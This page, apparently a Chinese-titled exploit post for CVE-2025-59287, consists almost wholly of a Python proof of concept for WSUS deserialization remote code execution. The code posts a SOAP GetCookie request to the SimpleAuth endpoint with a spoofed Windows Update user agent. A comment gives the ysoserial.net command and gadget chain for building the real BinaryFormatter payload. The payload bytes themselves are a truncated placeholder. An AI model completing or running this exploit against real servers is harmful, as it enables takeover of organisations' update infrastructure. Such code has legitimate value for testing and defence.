CVE-2025-59287：Windows Server Update Service反序列化远程代码执行漏洞

# CVE-2025-59287 - WSUS Deserialization RCE PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires crafting a malicious .NET deserialization payload. import requests import struct TARGET_HOST = "http://target-wsus-server:8530" WSUS_ENDPOINT = "/SimpleAuthWebService/SimpleAuth.asmx" def build_deserialization_payload(): """ Build a malicious .NET deserialization payload targeting BinaryFormatter. The payload uses a known gadget chain (e.g., ysoserial.net generated) to achieve remote code execution upon deserialization. """ # Using ysoserial.net to generate the payload: # ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c calc.exe" -o raw # # The generated binary payload is a serialized .NET object that, # when deserialized by the vulnerable WSUS service, triggers # arbitrary code execution via the TypeConfuseDelegate gadget chain. # Placeholder for actual binary payload (base64 encoded ysoserial output) payload = b"\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00..." return payload def exploit_wsus_deserialization(target_url, payload): """ Send the malicious serialized payload to the vulnerable WSUS endpoint. The WSUS server will deserialize the payload and execute the embedded command. """ headers = { "Content-Type": "application/soap+xml; charset=utf-8", "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetCookie"', "User-Agent": "Windows-Update-Agent" } # Construct SOAP envelope wrapping the malicious serialized object soap_envelope = f"""<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"> <s:Header> <a:To s:mustUnderstand="1">{target_url}{WSUS_ENDPOINT}</a:To> </s:Header> <s:Body> <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> <data>{payload.hex()}</data> </GetCookie> </s:Body> </s:Envelope>""" try: response = requests.post( f"{target_url}{WSUS_ENDPOINT}", data=soap_envelope, headers=headers, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59287 WSUS Deserialization RCE PoC") print(f"[*] Target: {TARGET_HOST}") payload = build_deserialization_payload() print(f"[*] Payload size: {len(payload)} bytes") result = exploit_wsus_deserialization(TARGET_HOST, payload) if result and result.status_code == 200: print("[+] Exploit sent successfully - check target for code execution") else: print("[-] Exploit may have failed")